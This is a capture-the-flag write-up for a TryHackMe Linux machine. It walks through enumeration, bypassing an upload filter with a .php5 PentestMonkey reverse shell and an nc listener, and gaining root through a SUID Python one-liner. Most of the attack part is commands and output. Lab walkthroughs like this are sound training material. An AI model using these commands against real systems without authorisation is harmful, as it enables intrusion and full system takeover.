Platform: TryHackMe
OS: Linux
Difficulty: Easy
Tags: web file-upload suid python linux
Date: 2026-05
Linux machine with an Apache web server running a file upload form with a blacklist filter. Bypassed the filter by renaming a PHP reverse shell to .php5, got a foothold as www-data, then escalated to root via a SUID Python binary.
nmap -sV -sC -p- --min-rate 5000 <TARGET_IP>PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Apache httpd 2.4.29
Landing page is a basic Apache page. Ran Gobuster to find hidden directories:
gobuster dir -u http://<TARGET_IP> \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,html,txt/uploads (Status: 301)
/panel (Status: 301)
/panel has a file upload form. /uploads is where uploaded files are served from.
Downloaded a PHP reverse shell (PentestMonkey), modified the IP and port. Tried uploading as .php — blocked. The form rejects .php extension.
Tried alternative PHP extensions:
.php3— blocked.php4— blocked.php5— allowed
cp php-reverse-shell.php shell.php5
# Edit IP and port inside the fileSet up listener:
nc -lvnp 4444Uploaded shell.php5, then navigated to:
http://<TARGET_IP>/uploads/shell.php5
Got a shell as www-data.
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermfind / -name user.txt 2>/dev/null
cat /var/www/user.txtfind / -perm -u=s -type f 2>/dev/null/usr/bin/python
Python with SUID set — straightforward escalation via GTFOBins:
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'# whoami
root
cat /root/root.txt- Blacklist filters are weak — try alternative extensions (
.php5,.phtml,.phar) - Always run
find / -perm -u=s -type f 2>/dev/nullearly in Linux privesc - Python SUID is an instant root — check GTFOBins for any unusual SUID binary
- TTY upgrade makes post-exploitation much more comfortable (tab completion, clear, ctrl+c)
- The
/uploadsdirectory being accessible is a common misconfiguration